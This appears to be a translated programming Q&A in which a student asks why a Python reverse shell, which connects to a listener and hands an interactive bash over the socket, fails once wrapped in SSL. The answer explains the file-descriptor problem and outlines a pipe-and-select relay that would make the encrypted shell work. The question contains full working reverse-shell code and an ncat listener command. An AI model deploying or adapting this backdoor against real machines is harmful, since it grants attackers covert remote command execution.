python - 在 python 中通过 SSL 反向 shell

Question

对于我的大学项目，我必须使用 Python 创建一个远程访问工具。我可以在简单的 TCP 套接字上轻松完成，但在涉及 SSL 套接字时，我遇到了问题。

代码如下:

#/usr/bin/python3

import socket
import ssl
import subprocess
import os

# SET VARIABLES
HOST, PORT = '127.0.0.1', 1234

# CREATE SOCKET
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)

# WRAP SOCKET
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23)

sock.connect((HOST, PORT))
os.dup2(sock.fileno(), 0)
os.dup2(sock.fileno(), 1)
os.dup2(sock.fileno(), 2)

p = subprocess.call(["/bin/bash", "-i"])

当我尝试使用 ncat --ssl -nlvp 1234 在另一端监听时，反向 shell 立即连接和断开连接，没有任何显示；如果我删除 sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_SSLv23) 我会得到一个工作后门，但在纯文本套接字上。

有人可以向我解释一下这个问题吗？也许给我一个解决方案？

Answer 1

TCP 在操作系统内核中实现，而 SSL 在用户空间中实现。您使用 fileno() 获得的文件描述符只是内核表示。因此，您的代码首先建立一个 TCP 连接(内核空间)，然后将 TCP 套接字包装到 SSL(用户空间)中。但是在建立 SSL 连接后，您尝试直接在 TCP 套接字上写入，而不是根据 SSL 协议(protocol)包装数据。这将立即导致无效的 SSL 协议(protocol)数据和连接关闭。

相反，您需要创建一个子进程并在父进程和子进程之间交换数据，通常是通过将标准输入/标准输出映射到管道或套接字对。然后在父级中，您可以使用 SSL 套接字转发来自子级的数据，并在从 SSL 套接字读取数据后将数据推送给子级。

要了解每个文件描述符上的数据何时可用(即 SSL 套接字和与子进程的通信)，您可以使用 select。请注意，在将 select 与 SSL 套接字一起使用时也必须特别小心，即简单的 select 对 SSL 是不够的，但你必须 use pending .